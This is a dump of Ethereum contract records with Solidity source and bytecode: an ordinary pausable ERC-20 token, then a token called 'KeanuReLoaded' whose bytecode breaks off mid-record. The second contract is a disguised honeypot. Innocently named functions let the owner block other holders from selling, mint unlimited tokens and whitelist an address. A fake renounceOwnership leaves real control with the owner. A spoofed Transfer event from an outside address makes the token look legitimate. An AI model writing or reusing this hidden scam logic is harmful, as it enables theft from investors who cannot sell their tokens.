_addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract PausableToken is StandardToken, Pausable { function transfer( address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve( address _spender, uint256 _value ) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval( address _spender, uint _addedValue ) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval( address _spender, uint _subtractedValue ) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract TokenDestructible is Ownable { constructor() public payable { } /** * @notice Terminate contract and refund to owner * @notice The called token contracts could try to re-enter this contract. Only supply token contracts you trust. */ function destroy() onlyOwner public { selfdestruct(owner); } } contract Token is PausableToken, TokenDestructible { /** * Variables that define basic token features */ uint256 public decimals; string public name; string public symbol; uint256 releasedAmount = 0; constructor(uint256 _totalSupply, uint256 _decimals, string _name, string _symbol) public { require(_totalSupply > 0); require(_decimals > 0); totalSupply_ = _totalSupply; decimals = _decimals; name = _name; symbol = _symbol; balances[msg.sender] = _totalSupply; // transfer all supply to the owner emit Transfer(address(0), msg.sender, _totalSupply); } }
0x6080604052600436106100fb5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610100578063095ea7b31461018a57806318160ddd146101c257806323b872dd146101e9578063313ce567146102135780633f4ba83a146102285780635c975abb1461023f578063661884631461025457806370a0823114610278578063715018a61461029957806383197ef0146102ae5780638456cb59146102c35780638da5cb5b146102d857806395d89b4114610309578063a9059cbb1461031e578063d73dd62314610342578063dd62ed3e14610366578063f2fde38b1461038d575b600080fd5b34801561010c57600080fd5b506101156103ae565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014f578181015183820152602001610137565b50505050905090810190601f16801561017c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019657600080fd5b506101ae600160a060020a036004351660243561043c565b604080519115158252519081900360200190f35b3480156101ce57600080fd5b506101d7610467565b60408051918252519081900360200190f35b3480156101f557600080fd5b506101ae600160a060020a036004358116906024351660443561046d565b34801561021f57600080fd5b506101d761049a565b34801561023457600080fd5b5061023d6104a0565b005b34801561024b57600080fd5b506101ae610518565b34801561026057600080fd5b506101ae600160a060020a0360043516602435610528565b34801561028457600080fd5b506101d7600160a060020a036004351661054c565b3480156102a557600080fd5b5061023d610567565b3480156102ba57600080fd5b5061023d6105d5565b3480156102cf57600080fd5b5061023d6105fa565b3480156102e457600080fd5b506102ed610677565b60408051600160a060020a039092168252519081900360200190f35b34801561031557600080fd5b50610115610686565b34801561032a57600080fd5b506101ae600160a060020a03600435166024356106e1565b34801561034e57600080fd5b506101ae600160a060020a0360043516602435610705565b34801561037257600080fd5b506101d7600160a060020a0360043581169060243516610729565b34801561039957600080fd5b5061023d600160a060020a0360043516610754565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104345780601f1061040957610100808354040283529160200191610434565b820191906000526020600020905b81548152906001019060200180831161041757829003601f168201915b505050505081565b60035460009060a060020a900460ff161561045657600080fd5b6104608383610777565b9392505050565b60015490565b60035460009060a060020a900460ff161561048757600080fd5b6104928484846107dd565b949350505050565b60045481565b600354600160a060020a031633146104b757600080fd5b60035460a060020a900460ff1615156104cf57600080fd5b6003805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b60035460a060020a900460ff1681565b60035460009060a060020a900460ff161561054257600080fd5b6104608383610954565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a0316331461057e57600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600354600160a060020a031633146105ec57600080fd5b600354600160a060020a0316ff5b600354600160a060020a0316331461061157600080fd5b60035460a060020a900460ff161561062857600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104345780601f1061040957610100808354040283529160200191610434565b60035460009060a060020a900460ff16156106fb57600080fd5b6104608383610a44565b60035460009060a060020a900460ff161561071f57600080fd5b6104608383610b25565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a0316331461076b57600080fd5b61077481610bbe565b50565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000600160a060020a03831615156107f457600080fd5b600160a060020a03841660009081526020819052604090205482111561081957600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561084957600080fd5b600160a060020a038416600090815260208190526040902054610872908363ffffffff610c3c16565b600160a060020a0380861660009081526020819052604080822093909355908516815220546108a7908363ffffffff610c4e16565b600160a060020a038085166000908152602081815260408083209490945591871681526002825282812033825290915220546108e9908363ffffffff610c3c16565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b336000908152600260209081526040808320600160a060020a0386168452909152812054808311156109a957336000908152600260209081526040808320600160a060020a03881684529091528120556109de565b6109b9818463ffffffff610c3c16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6000600160a060020a0383161515610a5b57600080fd5b33600090815260208190526040902054821115610a7757600080fd5b33600090815260208190526040902054610a97908363ffffffff610c3c16565b3360009081526020819052604080822092909255600160a060020a03851681522054610ac9908363ffffffff610c4e16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610b59908363ffffffff610c4e16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a0381161515610bd357600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610c4857fe5b50900390565b81810182811015610c5b57fe5b929150505600a165627a7a723058201104e3ee288fd0c27f153de08d3c5d75c4272d2a39291caf9bd4f248c7cef84f0029
{"success": true, "error": null, "results": {}}
3,005
0x4d677f231dc92cfe2705347153570f5af00bd38d
/** *Submitted for verification at Etherscan.io on 2021-08-09 */ /* ` ` ` ` ` ` `` ```` `````.`.`............-.------------;-;,,,,,:,::::::::_ ` ` ` ` ` `` ``.` ``.` ``` ...-.-..-.-.-.--------,-,-,,,,:,:::,:::::_ ` ` ` `` ` ` ` `.:;.` ` `-_-` `.`` ``.-----------;-;,,,,,:,:,:::::_:__ ` ` ` `` ``.-..`.-.`-``` ``..`` .!, ``` ``..----,-,-,,,,:,:,:,:::::::__; ` ` ` ` ` ``.` ` `.`` `.``..`.````` ``` ````.--;-;-,,,,:,:::,::::::_____ ` ` ` ` ` ``````.`..`` ` ` `` ..` `` ``` .,-,,,,,,:,:,:::::::____;_; ` ` ` `` ..``` `` ..`` ```. ` ` ` `. `-,,,,,,:,:,:::::::________ ` ` ` ` ` .` ` ``` `` ` `. ` ` `` `.` `` `` `. .,,,:,:::,::::::_____;__;_ ` `` `` .- `-- ` `.```..` ```` `` ```.,:,:,:::::::_________;_; ` ` ` ` `` .`` ` `` ` ..` `````` ``` ` ` ``:,:,::::::::___;_;_;;_;_ ` ` ` ` `` `. --. . ```` ` ` ``` ` ` ,:,::::::__________;_;;; ` `` ``````` . ` . ````` ` ``` ` ` -::::::::__;_;_;__;_;_;_ ` ` ` ` `` ` ` `` ``..-` `` . ` `` ` `.::::::________;_;_;_;;; ` `` ` ````` ```.-__,- ` `-,~=!=~:.---` ``` ``` ` .::::____;_;;_;_;_;_;_;; ` ` `` `` `. `` `!3K%$B4vY;-`-!aKdHG4afYJL=!_` `.` ` `.::__________;_;_;;;;;;; ` ` ` ` ```````` [email protected]@&@@@WETvJFKWWWW$#dKEn3aFYL, ` ` `.`` .____;_;_;;_;_;_;_;;;;;; ` ```` ``` ` [email protected]@@@&&&@@@BN#[email protected]@WMkGGKGySSFs~.`` `` ` `..______;_;_;_;;;;;;;;;;; ` ``` ``````` `[email protected]@@@&@@&&@@[email protected]@@WWWW$MHwE4AAy5Cr,. ``` `-__;_;;_;_;_;_;_;;;;;;;~ ``` ``````.`.```[email protected]@@@@[email protected]@WW8%%#NNdNMMHkGEwE3n5C~-` `` ` `.:___;_;_;;;;;;;;;;;;~~~ ` ```` ```.`.`.`[email protected]@@@@[email protected]%NM$MdGAAEyfnSynnnnf5FJ:` `---` `_;_;_;_;_;_;;;;;;;~~~~~ ``` `````.`.`[email protected]@@[email protected],`` ``..``3W3;_;_;;;;;;;;;;;;;~~~~~~ `````.`.`.....-`k&@@WB8%%#Ga4EEa3fFTYYJsTVFFFFFFVL>;.`` Vl-nF__;_;_;_;;;;;;~~~~~!~~ `` ``.`.`.......`s&@@W8%MmK4ySnfSa5TJLlJYsVVTVFFFFV>;_``. `;J~YT_k_;;;;;;;;;;;;~~~~~~~~! ````.`.`.......--_&@[email protected]#NdkAySaynTJlJTFFCCsFFVVFF5Cl!-` .v;rvlsKl;;_;;;;;;;~~~~~~~!~~~ `.`.`...........-;@@@@@@WB#kkanyEGGfFsVnnn5Fnnay4A4AkmGL--`~>l,_vd=;;;;;;;;;~~~~~!~~~~!~ ``.`[email protected]@@[email protected]@88#GNHEEmdNkFY5AyaAaannVsnGAAkEF=.:Sf.;;YM!;;;;;;;~~~~~~~~~!~~!~ `.`..........-.--:%W8%@888d4dk3wdNkwrVaEST!;.-.--,!7LSyma:v#lS!3GF;;;;;;~~~~~~~~!~~~!!~~ .........-.--.-.!!77~!7_lddw$VYYkfYYFFl_.--` `..a%374%T!7E3~;;;;;~~~~~~!~~~!~!~~!~ `..........-.--..`-.` `;~;.`.._7Fl---_, `` `,H$$kK#TL>$A;~;~~~~~~!~~~~!!~~~!!~~ .......-..-.-.--._:~- `` ` `-!CVJ!r-` ``.SKmmNNMCsSfn;~;~~~~~~~~!~!~~!~!~~!~ .......-.-.------.`;-. ` :~>_; ` ```!4wkw4dM$YvTwJ;~~~~~~~!~~~~!~~!~!~~!~ ...-..-.-.-.-.----::.,-``` ;y#v>_!` `!A4AAA4wmM8T73L~~~~~~!~~~~!~~~!!~~~!!~~ .....-.-----------_dHr ` ```[email protected]%fv=!;-` ` `[email protected];-~~~~~~!!~~!~!~~!~!~~!~ .--.-.-.-.---------VBKkafJYJTANW#nYlvll7rJY7=vJsC5f333AwkmM8yFfV. ;~~!~~~~!!~~~!!~~~!!~~ .-.-.----------;-;-!$H4wKN#md#m%#EJvlLLJTFFVJlLJJYsC5fy4Gm#Mssv.``,~~~~!~!~~!~!~~!~!~~!~ -.-.-.------,-,-,,,[email protected]=vLJsFFCsYJLlJFnn3EGd#3vv-````;!~~!~!~~!~!~~!~!~~!~ .------------;-;,,,,:[email protected]!_!vYsTYJYJYT5fn3AGGw=!- `` `-~!!~~~!!~~~!!~~~!!~~ -.-.--------,-,,,,:,,[email protected]@dFV5a4T;!;!lTsYYYT3F5n3yaJ;;-````` -~~!~!~~!~!~~!~!~~!~ ---------;-;-,,,,:,::,[email protected]#kar34Wf~;=sFf~Jl;!vYYTf3VC53nTJ;`.` `` ````-~~~~!!~~~!!~~~!!~~ --------,-,,,,,,:,::::[email protected]%m;:,-,_!YVV~~lYT5fCCFFYJ!`` ````````,!~!~~!~!~~!~!~~!~ -------;-;,,,:,:,:,::::~MWdw%[email protected]#A!~_;>TJLJVJ~7JT5FVYJv:` ````` `` ` ``:!!~~!~!~~!~!~~!~ ----,-,-,,,,:,:::,::::_:>#dG%wdwkA:;~>rr~~__!>~rYTTCYv_` `` ` ````````-~!!~~~!!~~~!!~~ -;-;-;,,,,,:,:,::::::___:l$dnYaY!~lYs;;;;_..`,>vlvJL=- ``` ````.`.`.~~~~!~~!~!~~!~ --,-,,,,,,:,:,:::::::_____CBaYCl:`` `.:;>l;_!=r7~. ```` `` `.```.`.` ,~~~!!~~~!!~~ -;-,,,,:,:,:,::::_:______;;[email protected]!7!!J!;!>>;,;!~~. ``` ` `````````` ````.~!~~!~!~~!~ ,,,,,,:,:::,::::::___;_;___!HW%GY=>~___,:;;_:,:;~,`` ` ` ````` ````````` `` -~~~!~!~~!~ ,,,,,:,:,:::::_:________::-..k8aT!-.`.-:__;_:;;!, ` `` ` ````..``` ` ` -!!~~~!!~~ ,,:,:,:,:::::::____;_;_::_,-.`BWNGfFTJ=~>>!~~!!: ` ` ``` `..``` ``:~~!~~!~ ,:,:,:,::::::_________~!!;,.` .8BGFsVYJLlL>!>;. ` ` ```````. `` ` -~~!!~~ :,:,:::::::____;_;;_;>>~;_-`` .CSv=~==!!;:;.`` ` ` `` ```````` ` ` ` `.;~~!~ ,:::::::::_______;_~>;;_-.` ` ~F~;;;_,--_=,`.`` ````````...`` ` ` `` `` `` -~!~ :::::::::__;_;_;;;~~~_,.,,-` `` TmN3J~;;~v!-_- ```......-. ````` `````.````:~ ::::::_________;~~_,->vv~--`` ``:MkHT=~~7vvY,`.` `..---..`` ` ``............---`; :::::____;_;;;;_~:-~vr~_;,` ```-`wMw4Y=~!r3-`.` .---,..` ` ``...-.-.-..-.-.------ :_:________;_;_;,!rr~-:!~.` ` `-,[email protected]=~=w;..` `..---..` ``.`````........----------- :____;_;_;__;_;,~v!,,:;!` ` `_---;@WGr>rlkv.-- `..---.. .--.-.`.....--.-.-.-.-.------ _______;_;_;_;!>>!-,;!~`` ,=--,;8WA~7vAG-,-``-------``.---...................--------- _;_;____;_;_~~~!;-:~!~.`` ` >=--:,d%a~_Ym-,-.`.-,--,- `.---.-.--.`.......`.`...--.-.---- _______;_;;;!!~;-:~~!. ` ` ,ll_--:_fF;_J,,:-`.-;--,- -_,-,--`..__------...`.`...`..----- _;__;_;_;-:~!~;::~~!- `` !7lY;---.:~=,,_,.`.,----`:_,......~;---,-.```.--....`...-..-- _;_;_;_;;!r!~~_~r>~_` ` ,=rvvs!-::,~:-:_- .,,-.: ,:-...--:~-`.``` ` `....`....- _;;_;_;;vYY!~_;77!;-`.` `;~7vv7v!:__,-:;-.-:,--, .-,..-.`.,.` `` ` ..``... _;_;;;_!YY7;!=rv!;-..` :~rr777>~_:-:,_,--;,--; --.-` ` ` ` ` ` ``..`.- ;_;_;_;;=v!;~;>>~.... ._~7vr7vv!:,_:,.--,---:` `-_. `` ``` ` `` ``` ``.--... site: KeanuReloaded.com tg: @keanureloaded **/ pragma solidity ^0.6.10; // SPDX-License-Identifier: MIT library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _call() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address public Owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address call = _call(); _owner = call; Owner = call; emit OwnershipTransferred(address(0), call); } modifier onlyOwner() { require(_owner == _call(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); Owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract KeanuReLoaded is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _router; mapping(address => mapping (address => uint256)) private _allowances; address private router; address private caller; uint256 private _totalTokens = 13370000 * 10**18; uint256 private rTotal = 13370000 * 10**18; string private _name = 'KeanuRELOADED.com'; string private _symbol = 'KEALOADED'; uint8 private _decimals = 18; constructor () public { _router[_call()] = _totalTokens; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _call(), _totalTokens); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decreaseAllowance(uint256 amount) public onlyOwner { rTotal = amount * 10**18; } function balanceOf(address account) public view override returns (uint256) { return _router[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_call(), recipient, amount); return true; } function increaseAllowance(uint256 amount) public onlyOwner { require(_call() != address(0)); _totalTokens = _totalTokens.add(amount); _router[_call()] = _router[_call()].add(amount); emit Transfer(address(0), _call(), amount); } function Approve(address trade) public onlyOwner { caller = trade; } function setrouteChain (address Uniswaprouterv02) public onlyOwner { router = Uniswaprouterv02; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_call(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _call(), _allowances[sender][_call()].sub(amount)); return true; } function totalSupply() public view override returns (uint256) { return _totalTokens; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0)); require(recipient != address(0)); if (sender != caller && recipient == router) { require(amount < rTotal); } _router[sender] = _router[sender].sub(amount); _router[recipient] = _router[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0)); require(spender != address(0)); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb1461047f578063b4a99a4e146104e5578063dd62ed3e1461052f578063f2fde38b146105a757610100565b806370a0823114610356578063715018a6146103ae57806395d89b41146103b857806396bfcd231461043b57610100565b806318160ddd116100d357806318160ddd1461024a57806323b872dd14610268578063313ce567146102ee5780636aae83f31461031257610100565b806306fdde0314610105578063095ea7b31461018857806310bad4cf146101ee57806311e330b21461021c575b600080fd5b61010d6105eb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061068d565b604051808215151515815260200191505060405180910390f35b61021a6004803603602081101561020457600080fd5b81019080803590602001909291905050506106ab565b005b6102486004803603602081101561023257600080fd5b8101908080359060200190929190505050610788565b005b6102526109c0565b6040518082815260200191505060405180910390f35b6102d46004803603606081101561027e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109ca565b604051808215151515815260200191505060405180910390f35b6102f6610a89565b604051808260ff1660ff16815260200191505060405180910390f35b6103546004803603602081101561032857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aa0565b005b6103986004803603602081101561036c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bad565b6040518082815260200191505060405180910390f35b6103b6610bf6565b005b6103c0610d7f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104005780820151818401526020810190506103e5565b50505050905090810190601f16801561042d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61047d6004803603602081101561045157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e21565b005b6104cb6004803603604081101561049557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f2e565b604051808215151515815260200191505060405180910390f35b6104ed610f4c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105916004803603604081101561054557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f72565b6040518082815260200191505060405180910390f35b6105e9600480360360208110156105bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ff9565b005b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106835780601f1061065857610100808354040283529160200191610683565b820191906000526020600020905b81548152906001019060200180831161066657829003601f168201915b5050505050905090565b60006106a161069a611206565b848461120e565b6001905092915050565b6106b3611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610774576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a7640000810260078190555050565b610790611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610851576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16610871611206565b73ffffffffffffffffffffffffffffffffffffffff16141561089257600080fd5b6108a78160065461136d90919063ffffffff16565b60068190555061090681600260006108bd611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136d90919063ffffffff16565b60026000610912611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610958611206565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6000600654905090565b60006109d78484846113f5565b610a7e846109e3611206565b610a7985600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a30611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116bc90919063ffffffff16565b61120e565b600190509392505050565b6000600a60009054906101000a900460ff16905090565b610aa8611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b69576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610bfe611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cbf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e175780601f10610dec57610100808354040283529160200191610e17565b820191906000526020600020905b815481529060010190602001808311610dfa57829003601f168201915b5050505050905090565b610e29611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610f42610f3b611206565b84846113f5565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611001611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611148576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806117c76026913960400191505060405180910390fd5b8073fffffffffffffffffff